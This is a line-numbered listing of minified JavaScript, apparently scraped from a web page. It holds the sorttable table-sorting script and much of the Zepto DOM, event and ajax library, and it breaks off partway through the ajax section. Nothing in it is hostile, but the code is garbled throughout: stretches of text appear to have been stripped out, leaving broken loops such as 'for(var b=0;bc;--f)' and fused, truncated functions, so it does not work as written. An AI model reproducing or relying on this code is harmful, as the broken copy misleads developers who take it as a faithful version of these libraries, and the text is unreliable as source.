10 | sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/\bsortable\b/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);
11 | if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;bc;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10);
21 | window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\\s)"+a+"(\\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\[\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\s*<(\w+|!)[^>]*>/,m=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\.([\w-]+)$/,x=/^#([\w-]*)$/,y=/^[\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1>$2>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.init(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElementsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=function(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e=0?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){return H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:function(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(this[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:function(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;typeof a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.parentNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,function(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.call(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:function(){return this.each(function(){this.style.display=="none"&&(this.style.display=""),getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.nodeName))})},replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(function(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(this),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:function(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this);(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.pluck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextElementSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?this[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(this,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;return typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].nodeName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.each(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:this.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("data-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return arguments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(this,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;var b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(arguments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string")return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],function(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){return a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){return a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\s+/g).forEach(function(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))}):this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(this),X(this,b,c,d).split(/\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,Z(this));g.split(/\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.removeClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0];return b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)return;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.test(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;return a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(function(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b==null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){if(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.nodeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"After")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeValue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){function m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);return(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .* ?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\s/).forEach(function(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=function(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStopped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListener"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefaultPrevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}return b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);return y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){return typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusout"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousemove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbind=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)};var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){return t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f).get(0);if(g&&g!==f)return d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;return b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)||a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?this.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus","blur"].forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.each(function(){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=document.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];return c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.active++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&triggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var e=c.context,f="success";c.success.call(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComplete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"xml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}function serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.url,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}function serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.document,key,name,rscript=/
272 |